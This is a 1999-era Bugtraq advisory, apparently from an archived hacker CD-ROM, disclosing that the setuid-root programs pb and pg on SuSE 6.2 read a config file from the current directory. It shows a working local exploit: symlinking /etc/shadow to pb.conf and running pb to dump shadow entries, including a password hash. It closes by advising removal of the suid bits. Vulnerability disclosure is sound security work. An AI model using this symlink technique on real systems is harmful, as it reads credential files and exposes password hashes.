home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 4 / hacker04 / 04_HACK04.ISO / xploits / suse / Linux_suse_exploits.txt
Encoding:
Internet Message Format  |  2002-05-06  |  1.8 KB

  1. Subject:      Two SuSE 6.2 local root exploits
  2. To: BUGTRAQ@SECURITYFOCUS.COM 
  3.  
  4.  
  5. Greetings,
  6.  
  7.  
  8.     /usr/bin/pb and /usr/bin/pg, suid root by default on SuSE 6.2, allow
  9. any user to read any file on the system as shown:
  10.  
  11.  
  12. susebox:/root # ls -la /usr/bin/pb
  13. uname -rwsr-xr-x   1 root     root        23544 Jul 22 20:07 /usr/bin/pb
  14.  
  15.  
  16. susebox:/root # strace /usr/bin/pb
  17. ...
  18. personality(PER_LINUX)                  = 0
  19. getpid()                                = 16623
  20. brk(0)                                  = 0x805032c
  21. brk(0x80504cc)                          = 0x80504cc
  22. brk(0x8051000)                          = 0x8051000
  23. open("pb.conf", O_RDONLY) <-- trouble?   = -1 ENOENT (No such file or
  24. directory)
  25. write(2, "pb.conf fopen: No such file or d"..., 41pb.conf fopen: No such
  26. file or directory
  27. ) = 41
  28. _exit(1)                                = ?
  29. susebox:/root #
  30.  
  31.  
  32. ---
  33. xnec@susebox:/tmp > id
  34. uid=1001(xnec) gid=100(users) groups=100(users)
  35. xnec@susebox:/tmp > ln -s /etc/shadow ./pb.conf
  36. xnec@susebox:/tmp > pb
  37. Unknown config line :  <root:nfpzNvX19GwRg:10850:0:10000::::> =
  38. <bin:*:8902:0:10000::::>
  39. Unknown config line :  <daemon:*:8902:0:10000::::> =
  40. <lp:*:9473:0:10000::::>
  41. Unknown config line :  <news:*:8902:0:10000::::> = <uucp:*:0:0:10000::::>
  42. Unknown config line :  <games:*:0:0:10000::::> = <man:*:8902:0:10000::::>
  43. ... etc for the entire shadow file
  44.  
  45.  
  46. The same scenario for /usr/bin/pg's pg.conf in your cwd.  These two
  47. programs also contain numerous buffer overflows and other insecure file
  48. i/o and should obviously lose their suid bits.  They cannot operate
  49. correctly without their s-bits unless they are run by root, but no one
  50. besides root will run them anyway.  These programs are not worth
  51. patching.
  52.  
  53.  
  54. Brock Tellier
  55. UNIX Systems Administrator
  56. Webley Systems
  57. www.webley.com
  58.  
  59.  
  60.